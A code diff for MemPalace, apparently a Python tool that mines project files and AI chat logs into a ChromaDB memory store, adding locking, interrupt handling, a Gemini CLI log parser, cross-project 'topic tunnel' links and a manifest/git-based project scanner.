chunk["chunk_index"],
agent,
chunk["content"],
source_mtime,
)
)
collection.upsert(
documents=batch_docs,
ids=batch_ids,
metadatas=batch_metas,
)
if added:
drawers_added += 1
drawers_added += len(batch_docs)
# Build closet — the searchable index pointing to these drawers.
# Purge first: a re-mine (mtime change or normalize_version bump) must
@@ -751,23 +992,80 @@ def mine(
dry_run: bool = False,
respect_gitignore: bool = True,
include_ignored: list = None,
files: list = None,
):
"""Mine a project directory into the palace."""
"""Mine a project directory into the palace.
``files`` may optionally be a pre-scanned list of file paths from
:func:`scan_project`. When provided, the corpus walk is skipped — the
caller (e.g. ``init`` showing a file-count estimate before the mine
prompt) avoids walking the tree twice. When ``None`` (the default),
``mine`` walks the tree itself just like before.
"""
if dry_run:
return _mine_impl(
project_dir,
palace_path,
wing_override=wing_override,
agent=agent,
limit=limit,
dry_run=dry_run,
respect_gitignore=respect_gitignore,
include_ignored=include_ignored,
files=files,
)
try:
with mine_palace_lock(palace_path):
return _mine_impl(
project_dir,
palace_path,
wing_override=wing_override,
agent=agent,
limit=limit,
dry_run=dry_run,
respect_gitignore=respect_gitignore,
include_ignored=include_ignored,
files=files,
)
except MineAlreadyRunning:
print(
f"mempalace: another `mine` is already running against "
f"{palace_path} — exiting cleanly.",
file=sys.stderr,
)
return
def _mine_impl(
project_dir: str,
palace_path: str,
wing_override: str = None,
agent: str = "mempalace",
limit: int = 0,
dry_run: bool = False,
respect_gitignore: bool = True,
include_ignored: list = None,
files: list = None,
):
project_path = Path(project_dir).expanduser().resolve()
config = load_config(project_dir)
wing = wing_override or config["wing"]
rooms = config.get("rooms", [{"name": "general", "description": "All project files"}])
files = scan_project(
project_dir,
respect_gitignore=respect_gitignore,
include_ignored=include_ignored,
)
if files is None:
files = scan_project(
project_dir,
respect_gitignore=respect_gitignore,
include_ignored=include_ignored,
)
if limit > 0:
files = files[:limit]
from .embedding import describe_device
print(f"\n{'=' * 55}")
print(" MemPalace Mine")
print(f"{'=' * 55}")
@@ -775,13 +1073,14 @@ def mine(
print(f" Rooms: {', '.join(r['name'] for r in rooms)}")
print(f" Files: {len(files)}")
print(f" Palace: {palace_path}")
print(f" Device: {describe_device()}")
if dry_run:
print(" DRY RUN — nothing will be filed")
if not respect_gitignore:
print(" .gitignore: DISABLED")
if include_ignored:
print(f" Include: {', '.join(sorted(normalize_include_paths(include_ignored)))}")
print(f"{'─' * 55}\n")
print(f"{'-' * 55}\n")
if not dry_run:
collection = get_collection(palace_path)
@@ -792,37 +1091,136 @@ def mine(
total_drawers = 0
files_skipped = 0
files_processed = 0
last_file = None
room_counts = defaultdict(int)
for i, filepath in enumerate(files, 1):
drawers, room = process_file(
filepath=filepath,
project_path=project_path,
collection=collection,
wing=wing,
rooms=rooms,
agent=agent,
dry_run=dry_run,
closets_col=closets_col,
)
if drawers == 0 and not dry_run:
files_skipped += 1
else:
total_drawers += drawers
room_counts[room] += 1
if not dry_run:
print(f" ✓ [{i:4}/{len(files)}] {filepath.name[:50]:50} +{drawers}")
try:
for i, filepath in enumerate(files, 1):
try:
drawers, room = process_file(
filepath=filepath,
project_path=project_path,
collection=collection,
wing=wing,
rooms=rooms,
agent=agent,
dry_run=dry_run,
closets_col=closets_col,
)
except KeyboardInterrupt:
# Re-raise so the outer handler prints the summary; we
# capture the last-attempted file via last_file below.
last_file = filepath.name
raise
files_processed = i
last_file = filepath.name
if drawers == 0 and not dry_run:
files_skipped += 1
else:
total_drawers += drawers
room_counts[room] += 1
if not dry_run:
print(f" + [{i:4}/{len(files)}] {filepath.name[:50]:50} +{drawers}")
print(f"\n{'=' * 55}")
print(" Done.")
print(f" Files processed: {len(files) - files_skipped}")
print(f" Files skipped (already filed): {files_skipped}")
print(f" Drawers filed: {total_drawers}")
print("\n By room:")
for room, count in sorted(room_counts.items(), key=lambda x: x[1], reverse=True):
print(f" {room:20} {count} files")
print('\n Next: mempalace search "what you\'re looking for"')
print(f"{'=' * 55}\n")
if not dry_run:
# Cross-wing topic tunnels: after every file in this wing has been
# processed, link this wing to any other wing that shares a
# confirmed TOPIC label. Out of scope for v1: manifest-dependency
# overlap, per-topic allow/deny lists, search-result surfacing.
try:
tunnels_added = _compute_topic_tunnels_for_wing(wing)
if tunnels_added:
print(f"\n Topic tunnels: +{tunnels_added} cross-wing link(s)")
except Exception as e:
# Tunnel computation must never fail a mine — degrade quietly.
print(
f"\n WARNING: topic tunnel computation skipped — {e}",
file=sys.stderr,
)
print(f"\n{'=' * 55}")
print(" Done.")
print(f" Files processed: {len(files) - files_skipped}")
print(f" Files skipped (already filed): {files_skipped}")
print(f" Drawers filed: {total_drawers}")
print("\n By room:")
for room, count in sorted(room_counts.items(), key=lambda x: x[1], reverse=True):
print(f" {room:20} {count} files")
print('\n Next: mempalace search "what you\'re looking for"')
print(f"{'=' * 55}\n")
except KeyboardInterrupt:
# Idempotent re-mine: deterministic drawer IDs mean already-filed
# drawers upsert to the same row on next run, so partial progress
# is safe to leave in place. A second Ctrl-C during this print
# propagates to the default handler — we don't try to catch
# everything.
print("\n\n Mine interrupted.")
print(f" files_processed: {files_processed}/{len(files)}")
print(f" drawers_filed: {total_drawers}")
print(f" last_file: {last_file or '<none>'}")
print(
f"\n Re-run `mempalace mine {shlex.quote(project_dir)}` to resume — "
"already-filed drawers are\n upserted idempotently and will not duplicate.\n"
)
sys.exit(130)
finally:
# Clean up the hooks-side PID lock if it points at us. Stale
# entries already pass _pid_alive() == False on POSIX, but
# actively removing the file makes the state observable
# (callers can stat it) and avoids accidental PID reuse on
# short-lived test runs. Only remove if the file claims our
# own PID — never another process's.
_cleanup_mine_pid_file()
def _cleanup_mine_pid_file() -> None:
"""Remove the global mine PID file if it currently points at us.
The PID file (``~/.mempalace/hook_state/mine.pid``, written by the
hook in :func:`mempalace.hooks_cli._spawn_mine`) tracks the PID of
the most recently spawned mine subprocess so the hook can dedup
concurrent auto-ingest fires. When that subprocess exits — cleanly,
on error, or via Ctrl-C — it should remove its own entry so the
next hook fire isn't briefly fooled by a stale PID before
``_pid_alive`` returns False.
We only delete the file if it claims our own PID; any other PID is
left alone (could be an unrelated mine running concurrently from
a different worktree / session).
"""
try:
from .hooks_cli import _MINE_PID_FILE
except Exception:
return
try:
if not _MINE_PID_FILE.exists():
return
recorded = _MINE_PID_FILE.read_text().strip()
if recorded and recorded.isdigit() and int(recorded) == os.getpid():
_MINE_PID_FILE.unlink()
except OSError:
# Best-effort cleanup; never fail the mine over PID bookkeeping.
pass
def _compute_topic_tunnels_for_wing(wing: str) -> int:
"""Drop tunnels between ``wing`` and every other wing that shares
confirmed topics, honoring the ``topic_tunnel_min_count`` config knob.
Returns the number of tunnels created or refreshed. Zero means no
overlap found (or the registry has no ``topics_by_wing`` map yet).
"""
from .config import MempalaceConfig
from .palace_graph import topic_tunnels_for_wing
topics_map = get_topics_by_wing()
if not topics_map or wing not in topics_map:
return 0
cfg = MempalaceConfig()
min_count = cfg.topic_tunnel_min_count
created = topic_tunnels_for_wing(wing, topics_map, min_count=min_count)
return len(created)
# =============================================================================
@@ -839,17 +1237,24 @@ def status(palace_path: str):
print(" Run: mempalace init <dir> then mempalace mine <dir>")
return
# Count by wing and room
# Count by wing and room — paginate to avoid SQLite "too many SQL
# variables" error on large palaces (see #802, #850).
total = col.count()
r = col.get(limit=total, include=["metadatas"]) if total else {"metadatas": []}
metas = r["metadatas"]
wing_rooms = defaultdict(lambda: defaultdict(int))
for m in metas:
wing_rooms[m.get("wing", "?")][m.get("room", "?")] += 1
wing_rooms: dict = defaultdict(lambda: defaultdict(int))
batch_size = 5000
offset = 0
while offset < total:
r = col.get(limit=batch_size, offset=offset, include=["metadatas"])
batch = r["metadatas"]
if not batch:
break
for m in batch:
m = m or {}
wing_rooms[m.get("wing", "?")][m.get("room", "?")] += 1
offset += len(batch)
print(f"\n{'=' * 55}")
print(f" MemPalace Status — {len(metas)} drawers")
print(f" MemPalace Status — {total} drawers")
print(f"{'=' * 55}\n")
for wing, rooms in sorted(wing_rooms.items()):
print(f" WING: {wing}")
+73
View File
@@ -8,6 +8,7 @@ Supported:
- ChatGPT conversations.json
- Claude Code JSONL (with tool_use/tool_result block capture)
- OpenAI Codex CLI JSONL
- Gemini CLI JSONL (~/.gemini/tmp/<project_hash>/chats/session-*.jsonl)
- Slack JSON export
- Plain text (pass through for paragraph chunking)
@@ -157,6 +158,10 @@ def _try_normalize_json(content: str) -> Optional[str]:
if normalized:
return normalized
normalized = _try_gemini_jsonl(content)
if normalized:
return normalized
try:
data = json.loads(content)
except json.JSONDecodeError:
@@ -280,6 +285,74 @@ def _try_codex_jsonl(content: str) -> Optional[str]:
return None
def _try_gemini_jsonl(content: str) -> Optional[str]:
"""Gemini CLI sessions (~/.gemini/tmp/<project_hash>/chats/session-*.jsonl).
Schema (per google-gemini/gemini-cli#15292): a session_metadata record
on the first line, then a stream of ``{"type": "user", "content":
[{"text": "..."}]}`` and ``{"type": "gemini", "content": [...]}``
records, with optional ``message_update`` records carrying token
counts only.
Detection requires a ``session_metadata`` record so this parser does
not false-positive against Claude Code or Codex JSONL passed through
the dispatch chain. Any ``user``/``gemini`` lines that appear before
``session_metadata`` are discarded — they are treated as preamble
noise, not conversational turns. ``message_update`` entries are
skipped — they have no message text. Multiple text blocks within a
single message's content array are concatenated in order, separated
by newlines.
"""
lines = [line.strip() for line in content.strip().split("\n") if line.strip()]
messages = []
has_session_metadata = False
for line in lines:
try:
entry = json.loads(line)
except json.JSONDecodeError:
continue
if not isinstance(entry, dict):
continue
entry_type = entry.get("type", "")
if entry_type == "session_metadata":
has_session_metadata = True
continue
# Discard everything (including user/gemini turns) until the
# session_metadata sentinel has been seen.
if not has_session_metadata:
continue
if entry_type not in ("user", "gemini"):
# Skips message_update, system events, anything else.
continue
content_blocks = entry.get("content", [])
if not isinstance(content_blocks, list):
continue
parts = []
for block in content_blocks:
if not isinstance(block, dict):
continue
text = block.get("text", "")
if isinstance(text, str) and text.strip():
parts.append(text)
if not parts:
continue
joined = "\n".join(parts)
if entry_type == "user":
messages.append(("user", joined))
else: # "gemini"
messages.append(("assistant", joined))
if len(messages) >= 2 and has_session_metadata:
return _messages_to_transcript(messages)
return None
def _try_claude_ai_json(data) -> Optional[str]:
"""Claude.ai JSON export: flat messages list or privacy export with chat_messages."""
if isinstance(data, dict):
+82
View File
@@ -310,6 +310,88 @@ def mine_lock(source_file: str):
lf.close()
class MineAlreadyRunning(RuntimeError):
"""Raised when another `mempalace mine` already holds the per-palace lock."""
@contextlib.contextmanager
def mine_palace_lock(palace_path: str):
"""Per-palace non-blocking lock around the full `mine` pipeline.
The per-file `mine_lock` only protects delete+insert interleave for a
single source; it does not prevent N copies of `mempalace mine <dir>`
from being spawned concurrently by hooks. When that happens, each copy
drives ChromaDB HNSW inserts in parallel against the same palace,
which (combined with chromadb's multi-threaded ParallelFor) can
corrupt the HNSW graph and produce sparse link_lists.bin blowups.
The lock file is keyed by sha256(palace_path) so mines against
*different* palaces can still run in parallel — we only serialize
writes into the same palace, which is the correctness boundary.
The key is derived from a fully normalized form of the path:
`realpath` resolves symlinks and `..` segments, and `normcase` folds
case on Windows (which has a case-insensitive filesystem). Without
normcase, `C:\\Palace` and `c:\\palace` would hash to different keys
on Windows and let two concurrent mines touch the same on-disk palace.
Non-blocking: if another `mine` is already writing to this palace,
raise MineAlreadyRunning so the caller can exit cleanly instead of
piling up as a waiting worker.
"""
lock_dir = os.path.join(os.path.expanduser("~"), ".mempalace", "locks")
os.makedirs(lock_dir, exist_ok=True)
resolved = os.path.realpath(os.path.expanduser(palace_path))
lock_key_source = os.path.normcase(resolved)
palace_key = hashlib.sha256(lock_key_source.encode()).hexdigest()[:16]
lock_path = os.path.join(lock_dir, f"mine_palace_{palace_key}.lock")
lf = open(lock_path, "w")
acquired = False
try:
if os.name == "nt":
import msvcrt
try:
msvcrt.locking(lf.fileno(), msvcrt.LK_NBLCK, 1)
acquired = True
except OSError as exc:
raise MineAlreadyRunning(
f"another `mempalace mine` is already running against {resolved}"
) from exc
else:
import fcntl
try:
fcntl.flock(lf, fcntl.LOCK_EX | fcntl.LOCK_NB)
acquired = True
except BlockingIOError as exc:
raise MineAlreadyRunning(
f"another `mempalace mine` is already running against {resolved}"
) from exc
yield
finally:
if acquired:
try:
if os.name == "nt":
import msvcrt
msvcrt.locking(lf.fileno(), msvcrt.LK_UNLCK, 1)
else:
import fcntl
fcntl.flock(lf, fcntl.LOCK_UN)
except Exception:
pass
lf.close()
# Backward-compatible alias (previous patch iteration used a single global
# lock). Kept so third-party callers that imported it continue to work; new
# code should use `mine_palace_lock(palace_path)` for per-palace scoping.
mine_global_lock = mine_palace_lock
def file_already_mined(collection, source_file: str, check_mtime: bool = False) -> bool:
"""Check if a file has already been filed in the palace.
+288 -8
View File
@@ -15,16 +15,60 @@ Enables queries like:
No external graph DB needed — built from ChromaDB metadata.
"""
# PEP 604 (``str | None``) needs 3.10+ at runtime; the project still
# supports 3.9, so defer annotation evaluation to keep the union syntax
# working on the older interpreter.
from __future__ import annotations
import hashlib
import json
import logging
import os
import threading
import time
from collections import Counter, defaultdict
from datetime import datetime, timezone
from .config import MempalaceConfig
from .config import MempalaceConfig, normalize_wing_name
from .palace import get_collection as _get_palace_collection
from .palace import mine_lock
logger = logging.getLogger("mempalace_graph")
def _normalize_wing(wing: str | None) -> str | None:
"""Normalize a wing name for consistent lookup.
``init`` stores wing names with hyphens and spaces replaced by underscores
(e.g. ``mempalace_public``). Callers that pass the raw directory name
(``mempalace-public``) would silently miss. This helper aligns the lookup
key with the stored metadata.
"""
if wing is None:
return None
wing = wing.strip()
if not wing:
return None
return normalize_wing_name(wing)
# Module-level graph cache with TTL and write-invalidation.
# Warm cache serves build_graph() in O(1); invalidate_graph_cache() clears on writes.
_graph_cache_lock = threading.Lock()
_graph_cache_nodes = None
_graph_cache_edges = None
_graph_cache_time = 0.0
_GRAPH_CACHE_TTL = 60.0 # seconds — graph changes less often than metadata
def invalidate_graph_cache():
"""Clear the graph cache. Called from mcp_server.py on writes."""
global _graph_cache_nodes, _graph_cache_edges, _graph_cache_time
with _graph_cache_lock:
_graph_cache_nodes = None
_graph_cache_edges = None
_graph_cache_time = 0.0
def _get_collection(config=None):
config = config or MempalaceConfig()
@@ -42,10 +86,25 @@ def build_graph(col=None, config=None):
"""
Build the palace graph from ChromaDB metadata.
Returns cached result if fresh (within TTL). Cache is invalidated
on writes via invalidate_graph_cache(). Thread-safe via _graph_cache_lock.
Note: warm cache ignores ``col`` and ``config`` arguments — this is
intentional for the MCP server's single-palace use case. Callers
switching collections should call ``invalidate_graph_cache()`` first.
Returns:
nodes: dict of {room: {wings: set, halls: set, count: int}}
edges: list of {room, wing_a, wing_b, hall} — one per tunnel crossing
"""
global _graph_cache_nodes, _graph_cache_edges, _graph_cache_time
now = time.time()
# NOTE: warm cache ignores col/config args — intentional for the MCP server's
# single-palace use case. Callers switching collections must invalidate first.
with _graph_cache_lock:
if _graph_cache_nodes is not None and (now - _graph_cache_time) < _GRAPH_CACHE_TTL:
return _graph_cache_nodes, _graph_cache_edges
if col is None:
col = _get_collection(config)
if not col:
@@ -58,6 +117,16 @@ def build_graph(col=None, config=None):
while offset < total:
batch = col.get(limit=1000, offset=offset, include=["metadatas"])
for meta in batch["metadatas"]:
# ChromaDB can return ``None`` for drawers without metadata
# (legacy data, partial writes — upstream #1020 territory).
# Skip these silently rather than crash the whole graph
# build — a single None drawer shouldn't take down /stats
# or any caller of build_graph for the entire palace. Caught
# 2026-04-25 by palace-daemon's verify-routes.sh smoke test
# against the canonical 151K palace. Closes the same gap as
# upstream #999 / fork PR #1094 in a different read path.
if meta is None:
continue
room = meta.get("room", "")
wing = meta.get("wing", "")
hall = meta.get("hall", "")
@@ -101,6 +170,14 @@ def build_graph(col=None, config=None):
"dates": sorted(data["dates"])[-5:] if data["dates"] else [],
}
# Only cache non-empty graphs so new data is picked up immediately
# when the palace is first populated.
if nodes:
with _graph_cache_lock:
_graph_cache_nodes = nodes
_graph_cache_edges = edges
_graph_cache_time = time.time()
return nodes, edges
@@ -173,15 +250,18 @@ def find_tunnels(wing_a: str = None, wing_b: str = None, col=None, config=None):
"""
nodes, edges = build_graph(col, config)
norm_a = _normalize_wing(wing_a)
norm_b = _normalize_wing(wing_b)
tunnels = []
for room, data in nodes.items():
wings = data["wings"]
if len(wings) < 2:
continue
if wing_a and wing_a not in wings:
if norm_a and norm_a not in wings:
continue
if wing_b and wing_b not in wings:
if norm_b and norm_b not in wings:
continue
tunnels.append(
@@ -194,6 +274,15 @@ def find_tunnels(wing_a: str = None, wing_b: str = None, col=None, config=None):
}
)
if not tunnels and (wing_a or wing_b):
logger.warning(
"No tunnels found for wing filter(s): wing_a=%r (normalized=%r), wing_b=%r (normalized=%r)",
wing_a,
norm_a,
wing_b,
norm_b,
)
tunnels.sort(key=lambda x: -x["count"])
return tunnels[:50]
@@ -271,8 +360,20 @@ def _save_tunnels(tunnels):
Writes to ``tunnels.json.tmp`` then ``os.replace``s it into place, so
a crash mid-write can never leave a partial/empty tunnels.json that
silently wipes every tunnel on next read.
Also restricts the parent directory to 0o700 and the file to 0o600 —
tunnels reveal cross-wing connections (which projects/people/rooms
the user has explicitly linked) and should not be world-readable on
shared Linux/multi-user systems. Matches the file-permission pattern
established by #814 for the other sensitive palace files.
"""
os.makedirs(os.path.dirname(_TUNNEL_FILE), exist_ok=True)
parent = os.path.dirname(_TUNNEL_FILE)
os.makedirs(parent, exist_ok=True)
try:
os.chmod(parent, 0o700)
except (OSError, NotImplementedError):
# Windows / unsupported filesystems — tolerate.
pass
tmp_path = _TUNNEL_FILE + ".tmp"
with open(tmp_path, "w", encoding="utf-8") as f:
json.dump(tunnels, f, indent=2)
@@ -283,6 +384,10 @@ def _save_tunnels(tunnels):
# Not all filesystems (or Windows file handles) support fsync — tolerate.
pass
os.replace(tmp_path, _TUNNEL_FILE)
try:
os.chmod(_TUNNEL_FILE, 0o600)
except (OSError, NotImplementedError):
pass
def _endpoint_key(wing: str, room: str) -> str:
@@ -320,6 +425,7 @@ def create_tunnel(
label: str = "",
source_drawer_id: str = None,
target_drawer_id: str = None,
kind: str = "explicit",
):
"""Create an explicit (symmetric) tunnel between two locations in the palace.
@@ -340,6 +446,11 @@ def create_tunnel(
label: Description of the connection.
source_drawer_id: Optional specific drawer ID.
target_drawer_id: Optional specific drawer ID.
kind: Tunnel category — ``"explicit"`` (default, user-created link
between real rooms) or ``"topic"`` (auto-generated cross-wing
topical link where rooms are synthetic ``topic:<name>``
identifiers). Preserved on the stored dict so readers can
distinguish real-room traversals from topic connections.
Returns:
The stored tunnel dict.
@@ -352,6 +463,9 @@ def create_tunnel(
target_wing = _require_name(target_wing, "target_wing")
target_room = _require_name(target_room, "target_room")
source_wing = _normalize_wing(source_wing)
target_wing = _normalize_wing(target_wing)
tunnel_id = _canonical_tunnel_id(source_wing, source_room, target_wing, target_room)
tunnel = {
@@ -359,6 +473,7 @@ def create_tunnel(
"source": {"wing": source_wing, "room": source_room},
"target": {"wing": target_wing, "room": target_room},
"label": label,
"kind": kind,
"created_at": datetime.now(timezone.utc).isoformat(),
}
if source_drawer_id:
@@ -391,9 +506,14 @@ def list_tunnels(wing: str = None):
Returns tunnels where ``wing`` appears as either source or target
(tunnels are symmetric, so either endpoint is a valid filter match).
"""
norm_wing = _normalize_wing(wing)
tunnels = _load_tunnels()
if wing:
tunnels = [t for t in tunnels if t["source"]["wing"] == wing or t["target"]["wing"] == wing]
if norm_wing:
tunnels = [
t
for t in tunnels
if t["source"]["wing"] == norm_wing or t["target"]["wing"] == norm_wing
]
return tunnels
@@ -412,6 +532,7 @@ def follow_tunnels(wing: str, room: str, col=None, config=None):
Given a location (wing/room), finds all tunnels leading from or to it,
and optionally fetches the connected drawer content.
"""
norm_wing = _normalize_wing(wing) or wing
tunnels = _load_tunnels()
connections = []
@@ -419,7 +540,7 @@ def follow_tunnels(wing: str, room: str, col=None, config=None):
src = t["source"]
tgt = t["target"]
if src["wing"] == wing and src["room"] == room:
if src["wing"] == norm_wing and src["room"] == room:
connections.append(
{
"direction": "outgoing",
@@ -430,7 +551,7 @@ def follow_tunnels(wing: str, room: str, col=None, config=None):
"tunnel_id": t["id"],
}
)
elif tgt["wing"] == wing and tgt["room"] == room:
elif tgt["wing"] == norm_wing and tgt["room"] == room:
connections.append(
{
"direction": "incoming",
@@ -442,6 +563,9 @@ def follow_tunnels(wing: str, room: str, col=None, config=None):
}
)
if not connections:
logger.warning("No explicit tunnels found for %s/%s", wing, room)
# If we have a collection, fetch drawer content for connected items
if col and connections:
drawer_ids = [c["drawer_id"] for c in connections if c.get("drawer_id")]
@@ -457,3 +581,159 @@ def follow_tunnels(wing: str, room: str, col=None, config=None):
pass
return connections
# =============================================================================
# TOPIC TUNNELS — auto-link wings that share confirmed TOPIC labels
# =============================================================================
# When two wings have one or more confirmed topics in common (e.g. both
# discuss "Angular" or "OpenAPI"), drop a symmetric tunnel between them.
# Topics come from the LLM-refined ``TOPIC`` bucket in the per-project
# ``entities.json`` and are persisted by wing in
# ``~/.mempalace/known_entities.json`` under ``topics_by_wing``.
#
# Tunnels are created via the existing ``create_tunnel`` API so they share
# storage and dedup with explicit tunnels. The room is a synthetic
# ``topic:<original-casing>`` identifier — the ``topic:`` prefix namespaces
# these tunnels away from literal folder-derived rooms so a wing with an
# auto-detected "Angular" folder room and a "shared topic: Angular" tunnel
# remain distinct at ``follow_tunnels`` / ``list_tunnels`` time. The prefix
# is also visible to any LLM scanning the tunnel list. The ``kind: "topic"``
# field on the stored dict gives callers a machine-readable discriminator.
TOPIC_ROOM_PREFIX = "topic:"
def _normalize_topic(name: str) -> str:
"""Lowercase + strip topics for case-insensitive overlap detection."""
return str(name).strip().lower()
def topic_room(name: str) -> str:
"""Return the synthetic room identifier for a topic tunnel.
Prefixing avoids collisions with literal folder-derived rooms of the
same name (e.g. a wing that has both an "Angular" folder room and an
"Angular" topic tunnel).
"""
return f"{TOPIC_ROOM_PREFIX}{name}"
def compute_topic_tunnels(
topics_by_wing: dict,
min_count: int = 1,
label_prefix: str = "shared topic",
) -> list[dict]:
"""Create tunnels for every pair of wings that share >= ``min_count`` topics.
Args:
topics_by_wing: ``{wing_name: [topic_name, ...]}`` mapping. Topic
names are compared case-insensitively; the first observed
casing is used for the tunnel room name.
min_count: minimum number of overlapping topics required to drop
any tunnel between a wing pair. ``1`` means a single shared
topic is enough; bumping to e.g. ``2`` requires multiple
overlaps and filters out coincidental single-topic links.
label_prefix: human-readable string prefixed to the tunnel label.
Returns:
List of tunnel dicts as returned by ``create_tunnel`` — one per
(wing_a, wing_b, topic) triple that crossed the threshold. A
wing-pair below ``min_count`` produces no tunnels at all (not
even for its single shared topic).
No-op semantics:
- empty/None ``topics_by_wing`` returns ``[]``.
- wings whose topic list is empty are skipped.
- ``min_count <= 0`` is clamped to 1.
"""
if not topics_by_wing:
return []
min_count = max(1, int(min_count))
# Build a normalized-topic -> first-seen casing map per wing so we
# preserve display casing while still doing case-insensitive overlap.
wing_topics: dict[str, dict[str, str]] = {}
for wing, names in topics_by_wing.items():
if not isinstance(wing, str) or not wing.strip():
continue
if not isinstance(names, (list, tuple)):
continue
bucket: dict[str, str] = {}
for n in names:
if not isinstance(n, str):
continue
key = _normalize_topic(n)
if not key:
continue
bucket.setdefault(key, n.strip())
if bucket:
wing_topics[wing.strip()] = bucket
wings = sorted(wing_topics.keys())
created: list[dict] = []
for i, wa in enumerate(wings):
topics_a = wing_topics[wa]
for wb in wings[i + 1 :]:
topics_b = wing_topics[wb]
shared_keys = set(topics_a.keys()) & set(topics_b.keys())
if len(shared_keys) < min_count:
continue
# Stable sort for deterministic tunnel ordering across runs.
for key in sorted(shared_keys):
# Prefer the casing from whichever wing sorts first — both
# are valid; this just keeps the displayed room consistent.
topic_name = topics_a[key] if topics_a[key] else topics_b[key]
room = topic_room(topic_name)
tunnel = create_tunnel(
source_wing=wa,
source_room=room,
target_wing=wb,
target_room=room,
label=f"{label_prefix}: {topic_name}",
kind="topic",
)
created.append(tunnel)
return created
def topic_tunnels_for_wing(
wing: str,
topics_by_wing: dict,
min_count: int = 1,
label_prefix: str = "shared topic",
) -> list[dict]:
"""Compute topic tunnels involving a single wing.
Used by the miner to incrementally update tunnels for the wing that
just finished mining without recomputing pairs that don't involve it.
Returns the list of tunnels created or refreshed.
"""
if not topics_by_wing or not isinstance(wing, str) or not wing.strip():
return []
wing = wing.strip()
own = topics_by_wing.get(wing)
if not isinstance(own, (list, tuple)) or not own:
return []
# Restrict the pair-wise computation to (wing, other) pairs only by
# building a 2-wing slice for each other wing. Reusing
# ``compute_topic_tunnels`` keeps the threshold and casing logic in
# one place.
created: list[dict] = []
for other, other_topics in topics_by_wing.items():
if not isinstance(other, str) or not other.strip() or other == wing:
continue
if not isinstance(other_topics, (list, tuple)) or not other_topics:
continue
slice_map = {wing: list(own), other: list(other_topics)}
created.extend(
compute_topic_tunnels(
slice_map,
min_count=min_count,
label_prefix=label_prefix,
)
)
return created
+735
View File
@@ -0,0 +1,735 @@
"""
project_scanner.py — Detect projects and people from real signal.
For a codebase with build manifests or git history, this beats regex-based
entity detection by a wide margin: the project's own name is already written
down in package.json / pyproject.toml / Cargo.toml / go.mod, and the people
who worked on it are in `git log`.
This module is used as the primary signal in `mempalace init`. The regex
detector in entity_detector.py stays as a fallback for prose-only folders
(notes, research, writing).
Public:
scan(root) -> (projects, people)
to_detected_dict(projects, people) -> {people: [...], projects: [...], uncertain: []}
"""
from __future__ import annotations
import json
import os
import re
import subprocess
from dataclasses import dataclass, field
from pathlib import Path
from typing import Optional
try:
import tomllib # Python 3.11+
except ImportError: # pragma: no cover
try:
import tomli as tomllib # Python 3.9/3.10 backport
except ImportError:
tomllib = None # type: ignore
SKIP_DIRS = {
".git",
"node_modules",
"__pycache__",
".venv",
"venv",
"env",
"dist",
"build",
".next",
"coverage",
".terraform",
"vendor",
"target",
".mempalace",
".cache",
".pytest_cache",
".mypy_cache",
".ruff_cache",
}
MAX_DEPTH = 6
MAX_COMMITS_PER_REPO = 1000
GIT_TIMEOUT = 10
# ==================== DATACLASSES ====================
@dataclass
class ProjectInfo:
name: str
repo_root: Path
manifest: Optional[str] = None
has_git: bool = False
total_commits: int = 0
user_commits: int = 0
is_mine: bool = False
@property
def confidence(self) -> float:
if self.is_mine:
return 0.99
if self.has_git and self.total_commits > 0:
return 0.7
return 0.85 # manifest-only, no git
def to_signal(self) -> str:
parts: list[str] = []
if self.manifest:
parts.append(self.manifest)
if self.has_git:
if self.is_mine and self.user_commits:
parts.append(f"{self.user_commits} of your commits")
elif self.user_commits:
parts.append(f"{self.user_commits}/{self.total_commits} yours")
else:
parts.append(f"{self.total_commits} commits (none by you)")
return ", ".join(parts) or "repo"
@dataclass
class PersonInfo:
name: str
total_commits: int = 0
emails: set[str] = field(default_factory=set)
repos: set[str] = field(default_factory=set)
@property
def confidence(self) -> float:
if self.total_commits >= 100 or len(self.repos) >= 3:
return 0.99
if self.total_commits >= 20:
return 0.85
return 0.65
def to_signal(self) -> str:
r = len(self.repos)
return f"{self.total_commits} commit{'s' if self.total_commits != 1 else ''} across {r} repo{'s' if r != 1 else ''}"
# ==================== MANIFEST PARSING ====================
def _parse_package_json(path: Path) -> Optional[str]:
try:
data = json.loads(path.read_text(encoding="utf-8", errors="replace"))
except (json.JSONDecodeError, OSError):
return None
name = data.get("name")
return name if isinstance(name, str) and name else None
def _parse_toml(path: Path) -> dict:
if tomllib is None:
return {}
try:
with open(path, "rb") as f:
return tomllib.load(f)
except (OSError, tomllib.TOMLDecodeError):
return {}
def _parse_pyproject(path: Path) -> Optional[str]:
data = _parse_toml(path)
name = data.get("project", {}).get("name")
if isinstance(name, str) and name:
return name
name = data.get("tool", {}).get("poetry", {}).get("name")
return name if isinstance(name, str) and name else None
def _parse_cargo(path: Path) -> Optional[str]:
data = _parse_toml(path)
name = data.get("package", {}).get("name")
return name if isinstance(name, str) and name else None
def _parse_gomod(path: Path) -> Optional[str]:
try:
for line in path.read_text(encoding="utf-8", errors="replace").splitlines():
line = line.strip()
if line.startswith("module "):
mod = line.split(None, 1)[1].strip()
return mod.split("/")[-1] or None
except OSError:
return None
return None
MANIFEST_PRIORITY = {
"pyproject.toml": 0,
"package.json": 1,
"Cargo.toml": 2,
"go.mod": 3,
}
# Sentinel so unknown manifests always sort after the known manifest types above.
UNKNOWN_MANIFEST_PRIORITY = max(MANIFEST_PRIORITY.values()) + 1
MANIFEST_PARSERS = {
"package.json": _parse_package_json,
"pyproject.toml": _parse_pyproject,
"Cargo.toml": _parse_cargo,
"go.mod": _parse_gomod,
}
# ==================== GIT HELPERS ====================
def _run_git(cwd: Path, *args: str, timeout: int = GIT_TIMEOUT) -> str:
try:
r = subprocess.run(
["git", "-C", str(cwd), *args],
capture_output=True,
text=True,
timeout=timeout,
check=False,
)
return r.stdout if r.returncode == 0 else ""
except (OSError, subprocess.SubprocessError):
return ""
def _git_user_identity(repo: Path) -> tuple[str, str]:
"""Return (name, email) for this repo, falling back to global config."""
name = _run_git(repo, "config", "user.name", timeout=2).strip()
email = _run_git(repo, "config", "user.email", timeout=2).strip()
return name, email
def _global_git_identity() -> tuple[str, str]:
try:
n = subprocess.run(
["git", "config", "--global", "user.name"],
capture_output=True,
text=True,
timeout=2,
check=False,
).stdout.strip()
e = subprocess.run(
["git", "config", "--global", "user.email"],
capture_output=True,
text=True,
timeout=2,
check=False,
).stdout.strip()
return n, e
except (OSError, subprocess.SubprocessError):
return "", ""
def _git_authors(repo: Path) -> list[tuple[str, str]]:
out = _run_git(
repo,
"log",
f"--max-count={MAX_COMMITS_PER_REPO}",
